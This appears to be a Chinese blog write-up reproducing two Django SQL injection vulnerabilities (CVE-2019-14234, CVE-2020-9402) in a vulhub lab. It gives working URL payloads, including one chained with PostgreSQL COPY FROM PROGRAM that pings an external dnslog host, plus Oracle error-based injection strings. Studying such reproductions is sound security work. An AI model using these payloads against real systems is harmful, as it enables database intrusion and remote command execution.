vulhub复现之django(CVE-2019-14234、CVE-2020-9402)

背景小故事

公司的人一个个的都去云南参加等保测评考试,剩下我一个小扑街孤苦伶仃地在公司学习,惨的一批(我也想去云南地说)
没办法,自己搭了个vulhub玩玩,学习学习cve漏洞复现

django的漏洞概述

Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。
该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。

通过JSONField类获得KeyTransform类并生成sql语句的位置。
其中key_name是可控的字符串,最终生成的语句是

WHERE (field->’[key_name]’) = ‘value’

因此可以进行SQL注入。

在这里插入图片描述

CVE-2019-14234漏洞复现

django环境搭建用的全都是vulhub

在这里插入图片描述在浏览器访问http://ip:8000出现一下页面说明搭建成功
在这里插入图片描述

通过对代码的分析,可以知道如果在你的Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入

访问http://ip:8000/admin

输入用户名admin ,密码a123123123

在这里插入图片描述

然后构造URL进行查询,payload:

http://ip:8000/admin/vuln/collection/?detail__a%27b=123

由下图可以清楚地看到我们输入的语句已经被执行了,可以继续注入,构造新的payload
在这里插入图片描述构造的新的payload如下:

http://ip:8000/admin/vuln/collection/?detail__title%27)%3d%271%27 or 1%3d1%2d%2d%20

由于or 1=1永为真,因此应该返回所有结果
在这里插入图片描述结合CVE-2019-9193 PostgreSQL高权限命令执行漏洞(https://blog.csdn.net/blood_pupil/article/details/88795627)构造url进行命令注入,这里主要就是利用PostgreSQL的高权限执行cmd_exec,
使用ceye平台检测是否执行了命令

http://ip:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping dnslog的地址'--%20

在这里插入图片描述过去dnslog看的时候,能够看到有流量经过
在这里插入图片描述

复现环境里的postgresql数据库docker没对外的端口映射,如果开了或者真实环境里,还可以结合msf通过CVE-2019-9193来getshell

漏洞修复

更新到最新版本

CVE-2020-9402漏洞复现

输入ip:8000可以看到
在这里插入图片描述

访问路径不对,提示有admin、vuln、vuln23个页面,存在漏洞的是vuln、vuln2

先访问vlun
在这里插入图片描述
发现啥也没有,要怀疑自己,没错就是这样,下面我们来构造

q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1

,报了语法错误,存在SQL注入
在这里插入图片描述我们访问第二个路径http://your-ip:8000/vuln2发现一串数据,不要管他,同样的问题也在这个页面,
在这里插入图片描述

构造pyload

q=0.05)))%20FROM%20%22VULN_COLLECTION2%22%20%20where%20%20(select%20utl_inaddr.get_host_name((SELECT%20user%20FROM%20DUAL))%20from%20dual)%20is%20not%20null%20%20–

在这里插入图片描述

可见,括号已注入成功,SQL语句查询报错:

修复建议

更新到最新版本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值